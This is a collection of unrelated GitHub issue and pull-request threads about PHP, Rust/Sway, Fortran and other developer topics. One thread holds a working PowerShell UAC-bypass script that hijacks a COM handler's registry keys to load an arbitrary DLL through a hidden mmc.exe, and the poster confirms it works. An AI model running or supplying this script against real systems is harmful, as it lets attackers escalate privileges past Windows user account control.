index 46055b478fe3c6d7069e8e6cbe572abacd596b0f..b9c987e04e1e791efbde6ef2785f8da185cc6345 100644
--- a/src/Fixer/StringNotation/SingleQuoteFixer.php
+++ b/src/Fixer/StringNotation/SingleQuoteFixer.php
@@ -55,7 +55,7 @@ public function getDefinition()
     /**
      * {@inheritdoc}
      *
-     * Must run after EscapeImplicitBackslashesFixer.
+     * Must run after BacktickToShellExecFixer, EscapeImplicitBackslashesFixer.
      */
     public function getPriority()
     {

Ok, then the tests are passing.
But still, I don't know why your idea suppose to be better than changes in this PR - both modify priorities of 2 fixers.
Also, I don't like that NativeConstantInvocationFixer got priority 10 here: https://github.com/FriendsOfPHP/PHP-CS-Fixer/pull/4355 - it should get 1 there as the only fixer it must run before has 0.

here: #4355 - it should get 1 there as the only fixer it must run before has 0.

did you test this, if so this PR is RTM I think?

did you test this, if so this PR is RTM I think?

Yes, it works with the updated priorities I'd recommended.

did you test this, if so this PR is RTM I think?

Yep, works if you follow the conflict resolution (choose 2 over 11 for StrictParamFixer, which should be obvious knowing the first conflict solution).

It works with the updated priorities I'd recommended, but not the ones in this PR.

@GrahamCampbell how did you test it this time, so it's not working? It's "funny" that your changes works for you when in fact they don't and mine doesn't when in fact they do...

https://travis-ci.org/github/GrahamCampbell/PHP-CS-Fixer/jobs/712728528 shows what can happen if someone merges upwards but keeps the priorities of the master branch version. If you use the priorities that are already there, then there can be no opportunity for error, because merging your PR upwards would then be as simple as: https://github.com/GrahamCampbell/PHP-CS-Fixer/compare/ae91c78d3465ffd14f8bac52da6d88f5db37d5be...9054cece9dcec5e5935a1ae04e0fc0d6e3f2a15b.diff.

what can happen if someone merges upwards but keeps the priorities of the master branch version

That's why I put in the description how to solve conflicts...

Thank you @kubawerlos.

authors: GrahamCampbell SpacePossum kubawerlos


text:
CS & tests not working

Since @jubianchi PR, composer cs and composer test don't work at all :cry:

@JEDIBC I just tested it and it works:

composer cs . => OK
composer test => OK
composer run-script cs . => OK
composer run-script test => OK

I've deleted vendor, git pull & composer install. then I got :
➜  pickleweb git:(master) composer cs

  [LogicException]
  You must call one of in() or append() methods before iterating over a Finder.

fix [--config="..."] [--config-file[="..."]] [--dry-run] [--level="..."] [--fixers="..."] [--diff] [--format="..."] [path]

Script vendor/bin/php-cs-fixer --ansi fix --config=sf23 handling the cs event returned with an error

  [RuntimeException]
  Error Output:

    [LogicException]
    You must call one of in() or append() methods before iterating over a Finder.

  fix [--config="..."] [--config-file[="..."]] [--dry-run] [--level="..."] [--fixers="..."] [--diff] [--format="..."] [path]

cs [--dev] [--no-dev] [args1] ... [argsN]

➜  pickleweb git:(master) composer test
Script vendor/bin/atoum -ft handling the test event returned with an error

  [RuntimeException]
  Error Output:

test [--dev] [--no-dev] [args1] ... [argsN]

Ok, I haven't seen the . in the command composer cs .
But I still got the problem with atoum

In syslog :
Apr 23 10:47:32 chalopin-ubuntu php: PHP Fatal error:  Class 'PickleWeb\Tests\Atoum\Report\Fields\Runner\Pickle' not found in /mnt/jedibc/www/pickleweb/.atoum.php on line 9
Apr 23 10:47:32 chalopin-ubuntu php: PHP Stack trace:
Apr 23 10:47:32 chalopin-ubuntu php: PHP   1. mageekguy\atoum\scripts\runner::mageekguy\atoum\scripts\{closure}() /mnt/jedibc/www/pickleweb/vendor/atoum/atoum/classes/scripts/runner.php:0
Apr 23 10:47:32 chalopin-ubuntu php: PHP   2. mageekguy\atoum\scripts\runner->run() /mnt/jedibc/www/pickleweb/vendor/atoum/atoum/classes/scripts/runner.php:589
Apr 23 10:47:32 chalopin-ubuntu php: PHP   3. mageekguy\atoum\script\configurable->run() /mnt/jedibc/www/pickleweb/vendor/atoum/atoum/classes/scripts/runner.php:203
Apr 23 10:47:32 chalopin-ubuntu php: PHP   4. mageekguy\atoum\script\configurable->useDefaultConfigFiles() /mnt/jedibc/www/pickleweb/vendor/atoum/atoum/classes/script/configurable.php:87
Apr 23 10:47:32 chalopin-ubuntu php: PHP   5. mageekguy\atoum\scripts\runner->useConfigFile() /mnt/jedibc/www/pickleweb/vendor/atoum/atoum/classes/script/configurable.php:60
Apr 23 10:47:32 chalopin-ubuntu php: PHP   6. mageekguy\atoum\script\configurable->includeConfigFile() /mnt/jedibc/www/pickleweb/vendor/atoum/atoum/classes/scripts/runner.php:228
Apr 23 10:47:32 chalopin-ubuntu php: PHP   7. mageekguy\atoum\includer->includePath() /mnt/jedibc/www/pickleweb/vendor/atoum/atoum/classes/script/configurable.php:178
Apr 23 10:47:32 chalopin-ubuntu php: PHP   8. mageekguy\atoum\scripts\runner->mageekguy\atoum\scripts\{closure}() /mnt/jedibc/www/pickleweb/vendor/atoum/atoum/classes/includer.php:56
Apr 23 10:47:32 chalopin-ubuntu php: PHP   9. include_once() /mnt/jedibc/www/pickleweb/vendor/atoum/atoum/classes/scripts/runner.php:228

It was a case sensitive problem

authors: JEDIBC jubianchi

repo: FriendsOfPHP/pickleweb


text:
rex_category_select :: Kategorie-Liste nimmt viel Zeit in Anspruch

Evtl. per Ajax laden um Verzögerungen zu vermeiden

Ich glaube es wäre am sinnvollsten die vollständige quick nav erst via ajax nachzuladen

Die Quicknavi wird immer langsam bleiben, so lange diese rex_category_select nutzt. Eventuell könnte es helfen, die aufgebaute Navi zu cachen.
In Rex4 war es, so dass man be_search abschalten musste um flüssig weiter arbeiten zu können.

sobald man die quick nav via ajax nachlädt hätte eine langsame quicknavi keinen impact auf das hauptrequest und somit hätten wir eine viel bessere situation wie heute.
im gezeigten profile braucht rex_category_select sind es 100ms - was nicht super schnell ist aber auch nicht mega langsam.

Hier zu sei bemerkt, dass die Seite noch nicht live ist und es sind ca. 200 Kategorien

authors: skerbis staabm tbaddade


text:
Cannot install

PHP Version
8.2
Shopware Version
6.5.3.3
Actual behaviour

Expected behaviour
Installation is successful
Steps to Reproduce?
Install

Hi,
I tried installing version 4.0.0 at shopware 6.5.3.3 without problem.
Could you please verify the following things:

you don't have the plugin on multiple locations (custom/plugins, custom/static-plugins, vendor without link)
you don't have a manipulated \Shopware\Core\Content\Media\Thumbnail\ThumbnailService

Hi, yes I am sure, that I only have the directory custom/plugins and have no manipulation on this service. I tried to install from store and zip file.
how can I get more information?

I see you might have FroshTools installed?
please check the tab "Shopware files" for possible manipulated files.

Sure...

Is there any way you can give me SSH access to the server?
You are welcome to contact me at http://slack.shopware.com/

Sorry thats not possible. I noticed a strange thing. When I try to install it over SSH, it tells me its already installed, but its not.

Let me check the Database...

Hmmm...

There is a similar issue for an other project, in this case the composer.json makes the problem.
https://github.com/phpstan/phpstan/issues/5263
https://github.com/phpstan/phpstan-src/commit/0f8ead706ba4b514e4a511c743645c065f52f195
FROM: "nikic/php-parser": "4.11.0",
TO:	"nikic/php-parser": "dev-master#c758510a37218d631fd10f67bca5bccbfef864fa as 4.11.0",

Solved.

authors: marcmanusch tinect


text:
ValueError: range() arg 3 must not be zero

I just run the example provided. didn't change anything but got this error

This happens because of the floor division to calculate the chunk_size returning 0 which is not valid
chunk_size = len(self.stargazers) // self.threads
To work around this you need to set threads to a value that would produce something > 1, for example
crawler = stargazerz.Crawler(threads=7, target="Frikallo/stargazerz")

It work for me too. May be add "threads=7" like default value?

authors: Carnewal ZekiJohn bakhirev

repo: Frikallo/stargazerz


text:
This has a great park auto

Before issuing a pull request, please see the contributing page.

my code is awesome


text:
password match

Hi,
I use these rules in my User model when i create an user
public static $rules = [
		'name' => 'required',
		'email' => 'required|email|unique:users',
		'password' => 'required',
		'password_repeat' => 'required|same:password',
		'language' => 'required'
	];

In my administrator user model i have
        [ 'password' => [
			'title' => trans('backend.password'),
			'type' => 'password',
		],
		'password_repeat' => [
			'title' => trans('backend.password'),
			'type' => 'password',
		],

but when creating it says they do not match.
Using just password without password_repeat works as expected.
Question is, can we use administrator to create fields that need to match other fields?

May i know how did you solved this?

repo: FrozenNode/Laravel-Administrator


text:
Restsharp portable parallel requests are sent successively by one instance of RestClient

Hello, Mark.
I have some issue with parallelism of my rest calls. Please, have a look at:
stackoverflow
Thanks.

HttpClient didn't support parallel requests, which is the only reason AsyncLock exists. Maybe they've changed its implementation, but I haven't tested it yet.
I personally don't like the AsyncLock stuff, and I'll change the code soon to allow parallel requests when using HttpWebRequest instead of HttpClient.
A possible solution around this limitation would be to use pooling for IRestClient instances.

authors: fubar-coder zevsst


text:
docs: update ARCHITECTURE.md

Closes #167

Added additional context around the raised points

+1 from me, the diagrams makes sense and are clear.
Some amendments to consider for future iterations:

Some terms could use further explanation to help users with less context on the use-case of the bridge. For example, "sequencers" and "epochs" could be briefly defined.
The think this sentence could be elaborated on for more context: The system features sending messages in both directions (L1 to L2, and L2 to L1), though the mechanisms involved for each direction are different and almost independent.
It would be nice to add some bullet points in the Message Passing from L1 to L2 portion, to be able to understand the flow a little better, eg:

-- An entity on L1 calls sendMessage on the Message Portal. -- The sendMessage function emits a MessageSent event. -- Fuel's sequencers detect the event and include the message in the next L2 block as a UTXO. -- The L2 block header's inbox reflects the message.

LGTM, just some docs nits

I 'll refreain from using apostrophes on written text from here on. I think I have done enough harm already.

repo: FuelLabs/fuel-bridge


text:
Should predicates allow backward jumps if a gas limit is imposed?

Predicates do not currently allow backward jumps. This is a protocol restriction:

During predicate mode, hitting any of the following instructions causes predicate verification to halt, returning Boolean false:

Any contract instruction.
JI, JNEI, JMP or JNE with jump-to value less than or equal to $pc (these would allow loops). In other words, $pc must be strictly increasing.

The downside of the above is that function calls cannot be properly supported because they require jumps to and from the functions being called, which evidently leads to having backward jumps at some point. For now, the compiler will inline all function calls in predicates but that can lead to bytecode size bloat.
@adlerjohn mentioned that it may be possible to remove the restriction above if we impose a gas limit that guarantees that the predicate eventually halts execution.

If predicates have a guaranteed upper bound on cost (e.g. by using gas metering), then sure. One thing we have to be careful of is that changes to the gas schedule will require re-verifying predicates in the mempool, along with the possibility that some predicates may become unsatisfiable.

@mitch-fuel assigning this to you as it's related to #440

Closing as this issue is resolved and backward jumps are allowed.

authors: Voxelot adlerjohn mohammadfawaz

repo: FuelLabs/fuel-specs


text:
Revert OutOfGas error when using the produce_blocks function in the provider to go forward in time

The bug happens when trying to go forward in time using the provider.produce_blocks function
After doing that, the calls performed to the same contract fail with a Revert OutOfGas error
This issue was found by the protofire team
Repository to reproduce the bug
https://github.com/0xLucca/fuels-bug

Hi! is there any progress with this?

Reproduced on both fuels 0.62 and fuels 0.64, looking into it.

@calldelegation There's a way to fix the problem in Sway, without the TxPolicieschange, by moving the state lookups from inside the require call to separate calls, like this:
        let start_time = storage.start_time.read();
        let end_time = storage.end_time.read();

        require(asset_amount > 0, "Asset amount must be greater than 0");
        require(current_time >= start_time && current_time < end_time, "Action can only be executed within the time window")

repo: FuelLabs/fuels-rs


text:
feat: return receipts in data returned by contract calls

Introduce the CallResult struct, that holds the call return in its
value field, and the receipts in the receipts field.
This closes issue #35

Note: failing tests are passing when I run them individually, for some weird reason (probably config issue?)

Note: Sometimes some tests are failing but passing when I run them individually, for some weird reason (probably config issue?).

The tests were designed to be self-contained enough so that state doesn't leak between tests. E.g. we spawn a short-lived fuel-core per test case in harness.rs.
Please provide repro steps if you found this not to be the case. Also, check it against master to see if this was introduced on this branch.
So far I haven't experienced any flakiness in fuels-rs tests, and if that's the case now we have to do the best we can to avoid flakiness in tests.

Tell me if you think I should add more tests!

It's true that it doesn't happen on master… But I have little to no idea how to investigate, since the behavior seems erratic at best, and seems really linked to a performance issue (some tests don't complete in less than 60 secs and are killed).

CI passing as well! :tada:

Changing docs strings broke CI? wth

Haha, that's actually what I'm currently investigating. It's failing to compile Sway code when we call forc::build during a test. So weird.

authors: digorithm vnepveu


text:
style: use C-style getters naming for SDK methods

This PR closes #783 by changing the naming of contract instance getter methods.
It also renames two functions whose name wasn't really adapted.
It also adds a comment about a .gitignore file.

Let's be extra careful and considerate when making big changes like this one to public-facing APIs. Although this is obviously a good change, it warrants a discussion first!

authors: digorithm iqdecay


text:
chore: inverting symlink origin and destination

The <rootDir>/CONTRIBUTING.md is the actual Markdown file.
The <rootDir>/docs/CONTRIBUTING.md is the symlink, pointing to the former.
This should guarantee that:

Users are presented with the original rendered Markdown when clicking on it (on <rootDir>/)
The documentation can still follow the symlink at build time (from <rootDir>/docs/)

Close #693

This is a re-fix on top of #694

@camsjams Thank you. I've reopened the issue.

repo: FuelLabs/fuels-ts


text:
feat(app): add AssetItem and AssetList components

✨ Fix #8
✨ Fix #9

@luizstacio I ended up choosing react-content-loader because is possible to just copy SVG from Figma and paste it into their website to generate the right loader, that the result:

https://fuels-wallet-bdzlegv2g-fuel-labs.vercel.app/storybook/?path=/story/asset-assetlist--loading

And that's the code

repo: FuelLabs/fuels-wallet


text:
Add test for cross-contract reentrancy

Type of change

Improvement (refactoring, restructuring repository, cleaning tech debt, ...)

Changes
The following changes have been made:

added a new test case
added supporting new contract & abi
added new functions on existing contracts & abis

Notes
The test case added performs the following steps:

The Attack contract's launch_thwarted_attack_3() function is triggered by a contract call from the SDK.
The Attack contract calls into the Target contract's cross_contract_reentrancy_denied() function.
The Target contract calls back to the Attack contract's evil_callback_4() function.
The Attack contract calls into the Attack Helper contract's attempt_cross_contract_reentrancy() function.
(attack vector) The Attack Helper contract attempts to re-enter by calling into the Target contract's cross_contract_reentrancy_denied() function(which hasn't finished execution of the initial call from the Attack contract).
The attack is thwarted by the reentrancy_guard() function in place.

Seems fine but is there something preventing a 2 contract interaction over 3 contracts?

@Braqzen I'm not quite sure what you're getting at here.
If the reentrancy_guard() function is not used, given 2 Contracts A & B:

A can call into B can call into A can call into B can call into A can call into B ... until the gas runs out.
The compiler just warns us if the CEI (Checks, Effects, Interactions) pattern is violated. It doesn't strictly prevent reentrant function calls.

Seems fine but is there something preventing a 2 contract interaction over 3 contracts?

@Braqzen I'm not quite sure what you're getting at here. If the reentrancy_guard() function is not used, given 2 Contracts A & B:

A can call into B can call into A can call into B can call into A can call into B ... until the gas runs out.
The compiler just warns us if the CEI (Checks, Effects, Interactions) pattern is violated. It doesn't strictly prevent reentrant function calls.

By "non-reentrant func" I meant to use the guard in that function, I should have been clearer, my mistake.

authors: Braqzen nfurfaro

repo: FuelLabs/sway-libs


text:
Internal compiler error: Unable to determine ID for log instance. during building of predicate

Hi guys build this predicate
predicate;

use std::{
    inputs::input_owner,
    logging::log,
};

const RECEIVER_CONFIG: b256 = 0x5d99ee966b42cd8fc7bdd1364b389153a9e78b42b7d4a691470674e817888d4e;

fn main() -> bool {
    const RECEIVER = Address::from(RECEIVER_CONFIG);
    log::<Address>(input_owner(0).unwrap());
    log::<Address>(input_owner(1).unwrap());

    true
}

Gives me this error
^^/p/f/l/s/p/o/vGx8NIeAtmcrErOEa3Z4rIORovU1i0 >>> forc build                                                      (1) (*master+78) 01:54:15
  WARNING! unused manifest key: project.target
  WARNING! unused manifest key: project.target
  WARNING! unused manifest key: project.target
  WARNING! unused manifest key: project.target
  WARNING! unused manifest key: project.target
  WARNING! unused manifest key: project.target
  WARNING! unused manifest key: constants
  WARNING! unused manifest key: constants
 Compiling library core (/Users/alexey/.forc/git/checkouts/std-9be0d6062747ea7/607ac50176db8bef936f91bacf435d0ea37d041e/sway-lib-core)
 Compiling library std (git+https://github.com/fuellabs/sway?tag=v0.37.0#607ac50176db8bef936f91bacf435d0ea37d041e)
 Compiling predicate swap-predicate (/Users/alexey/projects/fuel/limit_orders/services/predicate-orders-builder/orders/vGx8NIeAtmcrErOEa3Z4rIORovU1i0)
error
 --> /Users/alexey/.forc/git/checkouts/std-9be0d6062747ea7/607ac50176db8bef936f91bacf435d0ea37d041e/sway-lib-std/src/logging.sw:8:5
  |
6 |
7 | pub fn log<T>(value: T) {
8 |     __log::<T>(value);
  |     ^^^^^^^^^^^^^^^^^ Internal compiler error: Unable to determine ID for log instance.
Please file an issue on the repository and include the code that triggered this error.
9 | }
  |
____

  Aborting due to 1 error.
Error: Failed to compile swap-predicate

Versions of all tools latest

@chlenc thanks for flagging this. Logs are not allowed in a predicates. That being said, a better error message should be emitted in this case.

authors: chlenc mohammadfawaz

repo: FuelLabs/sway


text:
Calling Contracts

This lays out some basic call system information for Sway and Fuel.

LGTM!

authors: SilentCicero mohammadfawaz


text:
Fix checking for too many function call arguments.

This PR adds explicit checking for the case of too many function call arguments in function application instantiation.
This needs to be done before type checking because after type checking we drop the extra function call arguments due to having no type to check against.
During this PR development, it was found that Sway was allowing associated functions to be called with method call syntax,
which should not be allowed (Rust also throws an error in this case), and previously was just working by chance and a side
effect of the zip calls dropping the extra arguments.
So this adds a new error and check for this and updates some tests that were relying on this non-Rust-like behaviour.
There was another issue found, where the IR (at least the IR parser) currently cannot deal with empty structs, which was triggered by an existing IR test after being updated to work with the above changes.
Also re-enables the should_fail/excess_fn_arguments test.
Closes https://github.com/FuelLabs/sway/issues/2081.

This needs to be done before type checking because after type checking we drop the extra function call arguments due to having no type to check against.

Does this mean that, with your changes, instantiate_function_application_inner can never see TooManyArgumentsForFunction? That means we could also check for TooFewArgumentsForFunction in the outer functions and remove the checks entirely from instantiate_function_application_inner ?

Updated the PR with fixes to the IR parsing issue instead of changing the test.
Meanwhile I've also found a couple more issues with associated methods while reworking the checks I had earlier on this PR.
The new checking code is more robust and found a couple more issues related to traits, as such I've decided to just split it from this one, and will be sending a different PR later to deal with that with more tests once I handle those extra edge cases.

authors: tritao vaivaswatha


text:
Fix FSP.generateObjectKey

@joechip504 lol

This was fixed.

repo: FullScreenShenanigans/FullScreenPokemon


text:
如何训练方言

需要多大的显存还有数据结构是啥样子的

prepare some dialect data, and use a dialect label at sentence start. for example <|chuan|> for 四川话. check whisper special token to see if it has already covered some dialect label

authors: aluminumbox dataangel

repo: FunAudioLLM/CosyVoice


text:
Fix a typo and documentation

What does this implement/fix? Explain your changes.

The dictionary name is wrong.
The returned vector is always of size n_features, so the docstring is misleading.

What testing did you do to verify the changes in this PR?
Added unit tests

PTAL @kathyxchen

LGTM! Thanks for this bugfix and for adding more tests! woohoo

authors: arlapin kathyxchen

repo: FunctionLab/selene


text:
Injected field is null

Hi, I used your library and everything is ok, but when I access the injected field, it throws a npe. I dont know what step I missed, can you give some suggestions?
Thanks!

I found the problem, the injection happens in onCreateView, if the parent class implement the method, the child class can not inject the field correctly.

repo: FunnyDevs/hilt-conductor


text:
🛑 Bitwarden is down

In 5e59b80, Bitwarden (https://vault.fussel.tv) was down:

HTTP code: 502
Response time: 860 ms

Resolved: Bitwarden is back up in c9f92f0 after 18 minutes.

repo: FusselTV/status


text:
🛑 Home Assistant is down

In f2c82d9, Home Assistant (https://ha.fussel.tv) was down:

HTTP code: 530
Response time: 3088 ms

Resolved: Home Assistant is back up in e105ed1 after 13 minutes.


text:
🛑 Home Assistant is down

In 8396774, Home Assistant (https://ha.fussel.tv) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Home Assistant is back up in 84c7be9 after 17 minutes.


text:
Add support for Ember FastBoot

As per http://www.ember-fastboot.com/docs/addon-author-guide

Thanks for this!
Please make the PR to the dev branch.

authors: FutoRicky oskarrough

repo: FutoRicky/ember-cli-dropzonejs


text:
COM handler hijack

Hi there. I was wondering if you could give me any tips on making a powershell script for this UAC bypass. I've tried to copy the metasploit module but I've got nowhere.                                        function ComBypass{
param(
[Parameter(Mandatory = $False)]
[String]$dllFile
)
$rootKey="HKCU:\SOFTWARE\Classes\CLSID{0A29FF9E-7F9C-4437-8B11-F424491E3931}"
$inproc_key = "$rootKey\InProcServer32"
$shell_key = "$rootKey\ShellFolder"
New-Item $rootKey -Force
New-Item $inproc_key
New-Item $shell_key
New-ItemProperty -Path $inproc_key -Name "(Default)"  -Value $dllFile
New-ItemProperty -Path $inproc_key -Name 'ThreadingModel' -Value 'Apartment'
New-ItemProperty -Path $inproc_key  -Name 'LoadWithoutCOM' -Value ''
New-ItemProperty -Path $shell_key  -Name 'HideOnDesktop' -Value  ''
New-ItemProperty -Path $shell_key -Name 'Attributes' -PropertyType 'DWord'  -Value 0xf090013d
Start-Process  -File cmd.exe -ArgumentList "/c mmc.exe CompMgmt.msc" -WindowStyle Hidden
Start-Sleep -Seconds 10
Remove-Item  -Path $rootKey -Force -Recurse
}
ComBypass -dllFile "C:\cmd.dll"

Never mind. I found my mistake, wrong dll architecture used. The script works fine.

repo: FuzzySecurity/PowerShell-Suite


text:
Bundle JS code

https://code.visualstudio.com/api/working-with-extensions/bundling-extension

Solved in 1.0.7

repo: Fysh-Fyve/vscode-fysh


text:
조민영 과제 제출합니다

Description

어쩌구 저쩌구

Important content

어쩌구 저쩌구

Question

어쩌구 저쩌구

Reference

[과제1]
form의 height 크기를 조금 더 늘리고 위아래 여백을 보기 좋게 균일하게 맞춰주세요.
수량 선택 목록의 글자들도 가운데 정렬해 주세요.
나머지는 다 완벽해요~

제출 완료


text:
Layer Style panel & themes

With a style.theme defined in the configuration that theme will be applied when the layer is loaded. Otherwise the first theme from the style.themes object will be assigned as style.theme.
themes: {} needed to be removed from the defaults to make the themes check falsy if no theme is defined in the layer's style configuration.
Switch all control to be added with corresponding themes not always and then toggled when a theme is applied.
Flatten the layers.view.style directory in lib.
In order to see the 'Basic' theme legend which allows to modify the default style configuration for the layer a theme type: 'basic' needs to be defined.

polyCategorized.mjs and clusterCategorized.mjs have now been merged to categorized.mjs.
The legend should not depend on whether the layer is cluster or mvt format but only whether styles are defined as symbol, line, or polygon.

polyGraduated.mjs and clusterGraduated.mjs have now been merged to graduated.mjs.
The legend should not depend on whether the layer is cluster or mvt format but only whether styles are defined as symbol, line, or polygon.

hyperHTML construction has now been superseeded with microHTML.
Grid element items are now longer in intermediate container but aligned and justified in a grid proper.

The grid theme is now type: grid

The 'basic' type theme can now be configured.
With only the theme type in the configuration this will result in a panel for Stroke (colour, width) and Fill (colour, width).

Individual fields can be defined in a fields array.
Field types can be text or range (for now).
The field name must be provided.
The style can be set to highlight, default is default.
"Basic": {
  "type": "basic",
  "fields": [
    {
      "title": "Color",
      "style": "highlight",
      "type": "text",
      "field": "strokeColor"
    }
  ]
}

repo: GEOLYTIX/xyz


text:
Fixes #130. Initialize allocatable variables in Process Library

Closes #130
TL;DR: This PR fixes the "changing klid halts GOCART" issue seen by @wmputman.
My testing shows that it is zero-diff if klid is set to 0.01 (aka k=1), and lets the model run at other klid values.
Runs with:

[x] Intel Release
[x] Intel Debug
[x] GNU Release
[x] GNU Debug

The solution was found by running with Intel in Debug mode where it pointed to line 1412:
https://github.com/GEOS-ESM/GOCART/blob/4d4f27c51f49ccebb2df5e167582d033eea4d0d4/Process_Library/GOCART2G_Process.F90#L1400-L1414
The issue is that vsettle is filled by Chem_CalcVsettle but only for vsettle(:,:,klid:km). But then this line:
          vsettle = max(1.0e-9, vsettle - v_upwardMaring)

operates on all of vsettle. Since vsettle was only allocated and never initialized to anything, boom.
To be safe, I'm initializing all local allocatable arrays that I can see to zero. (I'm not a scientist, so someone like @pcolarco or @amdasilva might want to make sure that's a "safe" or "valid" initialization value to use.)
Also, in one subroutine, I changed the name of the array dp to d_p. The issue is that there  was an array:
real(kind=DP), dimension(:,:), allocatable :: dp

So dp was kind=DP. The compiler sort of went a bit nuts when I tried source=0.0_DP in that routine. So rather than change the kind, we just change dp to d_p as was done in another routine.

Releasing from draft. It seems to work with both Intel and Debug

@adarmenov Okay. Let me change that code. Give me a second...

repo: GEOS-ESM/GOCART


text:
Add allrepos option to clone

Based on a workflow suggested by @rtodling, this PR adds a new --allrepos option to mepo clone. With this flag, not only is the tag/branch passed to the --branch/-b option to mepo clone checked out, but it also checks out that tag in all sub repositories!
To wit, if you do:
mepo clone -b <tag> --allrepos fixture-repo

what this will do is:
git clone -b fixture-repo
cd fixture-repo
mepo clone
mepo checkout <tag> [on all subrepos]

Note this means it will fail if the tag requested is not on all repos!

Does this mean it will ignore the actual tags that the top repo has stored for the sub repos?   What is the example use case?

Never mind-  I had misunderstood.

repo: GEOS-ESM/mepo


text:
Function naming for C and language API's

there are a set of functions in the C shared library named like
helicsPublicationPublishXXX(pubid, value) or similar
I am wondering if it would be inconsistent to drop the Publication so they are
helicsPublishXXX(... ) instead.
likewise
helicsInputGetXXX  or helicsInputSetDefualt(...)
to helicsGetXXX or helicsSetDefault(...)
Basically dropping the Publication or Input for some functions that will be commonly used and have some redundancy in the name.
My reluctance is that it isn't totally consistent with the function names being helics  but on the other hand it is simpler and I don't think changes the information in the name, and might be a little more obvious for the transition to 2.0 as many functions will go from helicsSubscriptionGetXXX to helicsInputGetXXX which might be non obvious if you generated with the subscription convenience function.
Thoughts?

It sounded like the consensus was to leave the functions names as is to maintain consistency in the naming conventions.

repo: GMLC-TDC/HELICS-src


text:
Make ScipyOptimizer reusable (without growing tf graph)

Currently, the ScipyOptimizer only exposes a minimize() method that adds ops to the default graph, thereby slowing down performance when run repeatedly (e.g. in online learning or backtesting). This is an updated version of awav/reuse-scipyoptimizer.

I know this is a bit hacky, but it's something that I actually need and it'd be much easier if I wouldn't have to copy these files manually/work off a feature branch ... and I know other people need this feature as well. Could we please get this merged? @awav if you've got any ideas for how to clean it up before merging please say!

Changes made in original branch

authors: awav st--

repo: GPflow/GPflow


text:
Feature organize layout

close #23

 SPR7: Dashboard: Design/Organise Layout


text:
Fixed tests, better UTF-8 support

Hi, I fixed the tests which did not compile.
And also I added a UCP = C.PCRE_UCP constant (stands for Unicode Character Properties) and modified the ParseFlags() function to treat "(?u)" as UTF8 | UCP. This is needed to make \b \w \s \B \W \S to work properly in Unicode patterns.
Just one example:
TEXT: "мощность 25 Вт"
REG: (?ux) \b \d+ \s* Вт \b
Without UCP in flags the pattern won't match "25 Вт" which is counterintuitive.

Thank you! Tests really needed to be updated, I paid very little attention to them. UCP flag is very important too!
BTW it's my first pull request on github, so that makes me twice as happy =)

authors: GRbit aglyzov

repo: GRbit/go-pcre


text:
Crash on Beatmap Load

The game crashes as soon as beatmap finishes loading if the latest compile of Cytosu is used on the latest version of osu!lazer (2020.1121.0).

Thank you for reporting. I'll check it later today

should not be an issue anymore. feel free to reopen if you somehow can reproduce the issue

authors: GSculerlor MLisDreaming

repo: GSculerlor/Cytosu


text:
🛑 beCOOKIES GCP is down

In e1f1208, beCOOKIES GCP (https://prod.becookies.tech) was down:

HTTP code: 0
Response time: 0 ms

Resolved: beCOOKIES GCP is back up in 0f66a68 after 6 minutes.

repo: GSoftbiz/upptime


text:
Native JS React Components

Do you have any examples of rendering 3rd party / non GWT-React class inside a GWT-React construct?
You mention how to bundle them with webpack, so I assume you've done it? From what I can see, since your React.createElement overrides only take class extending ReactClass<P> which is a non-native @JsType - so a native @JsType can't extend it.
Am I missing something in the utils somewhere or should I contribute another overload of that method?
Anything helps. :slightly_smiling_face:

Currently working around this using a utility in my JavaScript bundle that calls React.createElement on the JavaScript side, and just using the return of that on the GWT/Java side. Might be cleaner to handle it that way anyway.

An example you could look at it is MobXDevTools. This is a React component that renders some development tools.  To access this I created a JsType interface as follows
@JsType(isNative = true, namespace = JsPackage.GLOBAL) public class MobXDevTools {     @JsProperty(name = "default")     public static ReactClass<BaseProps> component; }
You then use it as follows:
        ReactDOM.render(             div(null,                 //Show Dev tools toolbar                 React.createElement(MobXDevTools.component, $(new BaseProps(), "hightlightTimeout", 4000)),                 React.createElement(App.component, $(new AppStateProps(), "appState", appState))             ),             Document.get().getElementById("mainCont"));     }
You can additionally create a factory method to avoid using React.createElement. The docs go into more details on this.

Closing this. Let me know if you need more examples.

authors: ollwenjones pstockley

repo: GWTReact/gwt-react


text:
🛑 Jenga Availability is down

In b9bacfb, Jenga Availability (https://api-v2.honeycoin.app/v3/uptime/jg/balance) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Jenga Availability is back up in 827801b.

repo: Gabe-Honeycoin/hc-upptime


text:
Astropy equivalencies not fully supported

We have this doctest example:
x = Quantity([1, 2, 3], "Kelvin")
with u.add_enabled_equivalencies(u.temperature()):
    y = x.to(u.deg_C)

which works, but this one doesn't work:
x = Quantity([1, 2, 3], "radian")
with u.add_enabled_equivalencies(u.dimensionless_angles()):
    y = x.to(u.one)

I think this is because the physical type (dimension) changes in the latter case and not the first. See https://github.com/GalacticDynamics/unxt/blob/main/src/unxt/_src/quantity/base_parametric.py#L43

Actually I think the main issue is with this line - I don't think we want to do a replace here (that line just replaces the unit and value of a quantity), because conversions with equivalencies can change the physical type (dimensions) of a quantity (such as with dimensionless_angles()).

Right. Though do we expect other arguments? If we don't mind type coercion, one option would be to swap the replace for:
return Quantity(_apy7_unit_to(x.unit, unit, x.value), unit)

We can support all fields by using the dataclassish.field_items()
Preventing unnecessary type coercion is a bit more fiddly. I think we can do this by checking the dimensions of the output unit against the input units and only doing type coercion if they are different.

authors: adrn nstarman

repo: GalacticDynamics/unxt


text:
Enable CCI to use orbs

@TomMD Hi Tom,
I'd like to use CircleCI Orb (https://circleci.com/orbs/registry/orb/haskell-works/haskell-build) for building this project.
You can read more about orbs here: https://circleci.com/docs/2.0/using-orbs/
Would it be possible to enable this settings for the Galois organisation in CircleCI?

Hurm, that is a good question @AlexeyRaga .  I'll need to ask the admin, which I can do on Tuesday.
Is this urgent? If this is presently a significant issue then it might be the straw that moves the project over to your namespace after all.

Thinking for more than a second on it - we should probably transfer to your namespace.  Care to click the button? I don't think I can since I can't create repos in your org.  That said, I'm also happy to talk to the admin on Tuesday if you'd rather leave it here.
Why?  Well obviously I haven't had work projects pull me back to this code like I had expected.  Certainly you are using it heavily and should be able to take necessary actions without an intermediary.  If anyone objects then I'm all ears, I just don't see any strong reason to keep it under the GaloisInc organization.

Fair enough! I am OK with transferring it under haskell-works.
Unless there are no major objections (@TikhonJelvis?) I will make a transfer in a couple of days.

Transferring sounds perfectly reasonable to me.
We should update the links on the Hackage page when we do.

Thanks everyone, the transfer has happened, a new release with the updated links has been published to Hackage.

